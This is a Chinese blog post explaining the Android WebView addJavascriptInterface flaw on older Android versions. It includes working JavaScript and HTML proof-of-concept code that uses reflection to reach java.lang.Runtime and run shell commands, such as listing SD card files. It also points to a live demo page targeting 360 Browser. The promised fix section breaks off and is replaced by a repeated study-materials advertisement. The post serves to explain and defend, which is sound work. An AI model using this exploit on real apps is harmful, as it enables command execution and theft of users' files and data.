Android WebView的Js对象注入漏洞解决方案,看完没有不懂的

文章讨论了在AndroidWebView中使用addJavascriptInterface可能导致的安全风险,JavaScript可通过恶意代码访问设备SD卡和敏感信息。作者详细解释了攻击原理,并提供了漏洞实例和针对Android4.2以上版本的解决方案。
摘要由CSDN通过智能技术生成
  • This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API level [JELLY_BEAN]( ) or below, because JavaScript could use reflection to access an injected object’s public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.

  • JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.

  • The Java object’s fields are not accessible.

简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。

2,漏洞描述


通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述: 猛点这里

1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.

3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:

[javascript] view plain copy

print ?

  1. function execute(cmdArgs)

  2. {

  3. for (var obj in window) {

  4. if (“getClass” in window[obj]) {

  5. alert(obj);

  6. return  window[obj].getClass().forName(“java.lang.Runtime”)

  7. .getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);

  8. }

  9. }

  10. }

function execute(cmdArgs)

{

for (var obj in window) {

if (“getClass” in window[obj]) {

alert(obj);

return  window[obj].getClass().forName(“java.lang.Runtime”)

.getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);

}

}

}

3,漏洞证明


**举例一:**为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:

[html] view plain copy

print ?

  1. <html>

  2. <head>

  3. <meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8”>

  4. <script>

  5. var i=0;

  6. function getContents(inputStream)

  7. {

  8. var contents = “”+i;

  9. var b = inputStream.read();

  10. var i = 1;

  11. while(b != -1) {

  12. var bString = String.fromCharCode(b);

  13. contents += bString;

  14. contents += ”\n”

  15. b = inputStream.read();

  16. }

  17. i=i+1;

  18. return contents;

  19. }

  20. function execute(cmdArgs)

  21. {

  22. for (var obj in window) {

  23. console.log(obj);

  24. if (“getClass” in window[obj]) {

  25. alert(obj);

  26. return window[obj].getClass().forName(“java.lang.Runtime”).

  27. getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);

  28. }

  29. }

  30. }

  31. var p = execute([“ls”,”/mnt/sdcard/”]);

  32. document.write(getContents(p.getInputStream()));

  33. </script>

  34. <script language=“javascript”>

  35. function onButtonClick()

  36. {

  37. // Call the method of injected object from Android source.

  38. var text = jsInterface.onButtonClick(“从JS中传递过来的文本!!!”);

  39. alert(text);

  40. }

  41. function onImageClick()

  42. {

  43. //Call the method of injected object from Android source.

  44. var src = document.getElementById(“image”).src;

  45. var width = document.getElementById(“image”).width;

  46. var height = document.getElementById(“image”).height;

  47. // Call the method of injected object from Android source.

  48. jsInterface.onImageClick(src, width, height);

  49. }

  50. </script>

  51. </head>

  52. <body>

  53. <p>点击图片把URL传到Java代码</p>

  54. <img class=“curved_box” id=“image”

  55. οnclick=“onImageClick()”

  56. width=“328”

  57. height=“185”

  58. src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”

  59. οnerrοr=“this.src=’background_chl.jpg’”/>

  60. </p>

  61. <button type=“button” οnclick=“onButtonClick()”>与Java代码交互</button>

  62. </body>

  63. </html>

点击图片把URL传到Java代码

<img class=“curved_box” id=“image”

οnclick=“onImageClick()”

width=“328”

height=“185”

src=“http://t1.baidu.com/it/u=824022904,2596326488&fm=21&gp=0.jpg”

οnerrοr=“this.src=‘background_chl.jpg’”/>

<button type=“button” οnclick=“onButtonClick()”>与Java代码交互

这段HTML的运行效果如下:

图一:期望运行结果图

上图中,点击 按钮后,JS中传递 一段文本到Java代码,显示一下个toast,点击 图片后,把图片的URL,width,height传到Java层,也用toast显示出来。

要实现这样的功能,就需要注Java对象。

简单说明一下

1,请看 **execute()**这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用“getRuntime”静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。

2,getContents()方法,从流中读取内容,显示在界面上。

3,关键的代码就是以下两句

[javascript] view plain copy

print ?

  1. return window[obj].getClass().forName(“java.lang.Runtime”).

  2. getMethod(”getRuntime”,null).invoke(null,null).exec(cmdArgs);

return window[obj].getClass().forName(“java.lang.Runtime”).

getMethod(“getRuntime”,null).invoke(null,null).exec(cmdArgs);

Java代码实现如下:

[java] view plain copy

print ?

  1. mWebView = (WebView) findViewById(R.id.webview);

  2. mWebView.getSettings().setJavaScriptEnabled(true);

  3. mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);

  4. mWebView.loadUrl(”file:///android_asset/html/test.html”);

mWebView = (WebView) findViewById(R.id.webview);

mWebView.getSettings().setJavaScriptEnabled(true);

mWebView.addJavascriptInterface(new JSInterface(), “jsInterface”);

mWebView.loadUrl(“file:///android_asset/html/test.html”);

需要添加的权限:

[html] view plain copy

print ?

  1. <uses-permission android:name=“android.permission.INTERNET”/>

  2. <uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE” />

  3. <uses-permission android:name=“android.permission.WRITE_EXTERNAL_STORAGE” />

当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)

图二:实际运行结果,列出了SDCard中的文件

**举例二:**360浏览器也存在这个问题,我测试的系统是android 4.0.2,360浏览器版本是:4.8.7

在浏览器输入框中输入:http://bitkiller.duapp.com/jsobj.html,然后前往,它会出现如下的界面

图三:360浏览器运行结果

说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。

在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示

图四:错误结果

4,解决方案


1,Android 4.2以上的系统

在Android 4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:

[java] view plain copy

print ?

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数前端工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Web前端开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

如果你觉得这些内容对你有帮助,可以扫码获取!!(备注:前端)

最后

给大家分享一些关于HTML的面试题,有需要的朋友可以戳这里免费领取,先到先得哦。


理了一份《2024年Web前端开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。**

[外链图片转存中…(img-cK5iiytH-1712083130167)]

[外链图片转存中…(img-UisJyCBH-1712083130167)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上前端开发知识点,真正体系化!

[外链图片转存中…(img-HAhvZKZ7-1712083130167)]

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

如果你觉得这些内容对你有帮助,可以扫码获取!!(备注:前端)

最后

给大家分享一些关于HTML的面试题,有需要的朋友可以戳这里免费领取,先到先得哦。

[外链图片转存中…(img-oeZISLn5-1712083130168)]
[外链图片转存中…(img-dclKtYJ4-1712083130168)]

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值